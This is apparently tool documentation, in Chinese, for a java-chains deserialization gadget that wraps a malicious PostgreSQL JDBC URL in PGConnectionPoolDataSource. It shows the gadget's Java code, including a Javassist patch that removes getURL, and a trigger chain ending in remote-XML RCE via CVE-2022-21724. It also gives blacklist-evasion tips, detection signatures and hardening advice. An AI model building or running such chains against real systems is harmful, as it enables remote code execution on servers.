- 类别:
javanative别名:— 优先级:— - 作者:—
- 依赖:
org.postgresql:postgresql - 实现:
Gadget(直接实现接口,无基类)
把一个恶意 PostgreSQL JDBC URL 装进 org.postgresql.ds.PGConnectionPoolDataSource。当上游 gadget 反序列化时触发本对象的 getConnection()(一个 getter)时,PostgreSQL 驱动会携该 URL 发起「数据库连接」,从而进入 PostgreSQL JDBC 利用链(socketFactory 参数触发 ClassPathXmlApplicationContext 加载远程 XML,即 CVE-2022-21724)。本类是「getter 触发 → PostgreSQL JDBC URL sink」之间的中间跳板,本身不产出 URL、也不直接执行代码。
- 入口
tags:DataSourceChains、GetterGetter—— 承接上一环「能反射调用任意 getter」的 gadget(如 CommonsBeanutils1 的BeanComparator,或各类EqualsBean/ToStringBean),由上游负责调用本对象的getConnection。DataSourceChains—— 标识其属于「JDBC DataSource 跳板」这一族,供 UI/组合器归类。
- 衔接
nextTags:PostgreSQLJdbcUrl—— 之后需接一个产出「PostgreSQL 恶意 JDBC URL 字符串」的 gadget(如PostgreSqlJdbc,其tags正是PostgreSQLJdbcUrl)。 excludes:无。
本类直接 implements Gadget,无基类,逻辑全部内联。两个私有常量记录了「触发方式」,供人阅读,运行时以 invoke 注入的 context 为准:
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";public Object getObject(String jdbcUrl) throws Exception {
try {
CtClass ctClass1 = ClassPool.getDefault().get("org.postgresql.ds.common.BaseDataSource");
CtMethod writeReplace1 = ctClass1.getDeclaredMethod("getURL");
ctClass1.removeMethod(writeReplace1);
ctClass1.toClass();
} catch (Exception ctClass1) {
// empty catch block
}
PGConnectionPoolDataSource dataSource = new PGConnectionPoolDataSource();
dataSource.setURL(jdbcUrl);
return dataSource;
}- 先用 Javassist(
javassist.ClassPool)从PGConnectionPoolDataSource的父类org.postgresql.ds.common.BaseDataSource中删除getURL()方法,再toClass()把改写后的类重新定义/载入。局部变量名writeReplace1是 CFR 反编译器的机械命名,与writeReplace序列化钩子无关——实际被取出并删除的方法就是getURL。 - 删除
getURL的原因:新版BaseDataSource.getURL()会依据serverName/portNumber/databaseName等已解析属性重新拼装 URL,从而丢弃setURL传入的原始查询串(尤其是socketFactory/socketFactoryArg这类攻击关键参数)。删掉getURL后,连接阶段读取 URL 时回落到setURL存下的原始字段,保证攻击者构造的完整恶意 URL 原样生效。 catch为空块:若目标环境不存在该方法、已被删除或 Javassist 缺失,则静默跳过,不影响后续流程(低版本驱动无此拼装行为时本就不需要删除)。- 最后
new PGConnectionPoolDataSource()并setURL(jdbcUrl),返回这个可序列化的数据源对象作为本环产物。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String jdbcUrl = (String)chain.doCreate(context);
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
return this.getObject(jdbcUrl);
}chain.doCreate(context)先构造内层对象——即下游PostgreSQLJdbcUrlgadget(如PostgreSqlJdbc)产出的恶意 JDBC URL 字符串,强转为String。- 随后向
GadgetContext注入三条元信息,供上游 getter 触发器读取,实现「跨环解耦」:SUPER_CLASS_NAME_KEY = DataSource.class:告诉上游本包装对象应以javax.sql.DataSource类型看待(用于类型校验/强转)。SPECIAL_METHOD_NAME_KEY = "getConnection":上游需要触发的方法名。GETTER_PARAM_NAME_KEY = "connection":对应的属性名,供CommonsBeanutils1这类以property驱动的比较器读取——PropertyUtils.getProperty(obj, "connection")会解析为getConnection()(对照 CommonsBeanutils1 中property由本 KEY 注入的机制)。
return this.getObject(jdbcUrl):把 URL 包进数据源对象返回给上游继续包装。
反序列化时的完整触发链(以 CB1 为上游为例):
PriorityQueue.readObject → BeanComparator.compare
→ PropertyUtils.getProperty(PGConnectionPoolDataSource, "connection")
→ PGConnectionPoolDataSource.getConnection() (继承自 BaseDataSource)
→ PostgreSQL 驱动解析恶意 jdbcUrl(socketFactory=ClassPathXmlApplicationContext)
→ 加载远程 spring-bean.xml → RCE(CVE-2022-21724)
本类无 @Param(params 为空)。恶意 URL 完全由下游 PostgreSQLJdbcUrl gadget(如 PostgreSqlJdbc 的 url 参数)决定;getterMethodName/getterPropertyName 为写死的私有常量,不可配置。
- 依赖
org.postgresql:postgresql(PGConnectionPoolDataSource与BaseDataSource均在该驱动内)。本跳板本身对版本不敏感,实际可利用范围由下游 JDBC gadget 决定:PostgreSqlJdbc声明命中9.4.1208 <= org.postgresql:postgresql < 42.2.25与42.3.0 <= org.postgresql:postgresql < 42.3.2(CVE-2022-21724,socketFactory参数注入)。 - 关键坑点:需删除
BaseDataSource.getURL()才能让setURL的完整恶意 URL 不被属性拼装覆盖;该动作依赖 Javassist 在运行时改写并重载类,因此攻击环境需能加载javassist.*(java-chains 生成器侧具备,目标侧无需)。 - 触发依赖上游能反射调用任意 getter(
getConnection),故常与 CB/Rome 等「Getter」触发器组合;对 JDK 无TemplatesImpl式的高版本限制(不走defineClass,而走 JDBC socketFactory)。 - 与同族 PostgreSqlDataSource2 的唯一差异:本类用
PGConnectionPoolDataSource(连接池数据源),后者用PGSimpleDataSource;二者getConnection均继承自同一BaseDataSource,getURL 处理与 context 注入完全一致。选用不同载体可用于绕过针对某一具体类名的黑名单。
自由构件,未直接出现在预设链中(usedInChains 为空)。可按标签自行组合,典型三环:
[Getter 触发器, PostgreSqlDataSource, PostgreSqlJdbc],例如 [CommonsBeanutils1, PostgreSqlDataSource, PostgreSqlJdbc]。
- 上游(承接
Getter):CommonsBeanutils1 及各类EqualsBean/ToStringBeangetter 触发器。 - 下游(
nextTags=PostgreSQLJdbcUrl):PostgreSqlJdbc(CVE-2022-21724,产出socketFactory=ClassPathXmlApplicationContext的加载 URL)、PostgreSqlJdbc4Jndi(JNDI 模块专用,自动缓存 spring-bean.xml)。 - 同族:PostgreSqlDataSource2(
PGSimpleDataSource版跳板)、MysqlDataSource等DataSourceChains系列。
- 检测特征:
- 反序列化流中出现
org.postgresql.ds.PGConnectionPoolDataSource/org.postgresql.ds.common.BaseDataSource类名指纹(连同serverName/url字段)。 - JDBC 连接 URL 中出现
socketFactory=且值为org.springframework.context.support.ClassPathXmlApplicationContext,或socketFactoryArg指向http:///file://外部 XML——高危信号。 - 运行期出现对
BaseDataSource的 Javassist 重定义(toClass)、或应用无业务缘由地建立到127.0.0.1:5432之外可疑地址的 PostgreSQL 连接。
- 反序列化流中出现
- 加固建议:
- 升级
org.postgresql:postgresql至42.2.25+/42.3.2+(修复 CVE-2022-21724,限制socketFactory等可实例化任意类的连接参数)。 - 反序列化入口启用类白名单(JEP 290
ObjectInputFilter),拒绝org.postgresql.ds.*、javax.sql.DataSource实现及常见 getter 触发器(org.apache.commons.beanutils.BeanComparator、java.util.PriorityQueue组合等)。 - 出站网络管控:禁止应用服务器主动发起到非受信主机的数据库/HTTP 连接,切断
socketFactoryArg拉取远程 XML 的路径。 - 移除不必要的
javassist、spring-context于运行时 classpath,压缩可被复用的 sink 面。
- 升级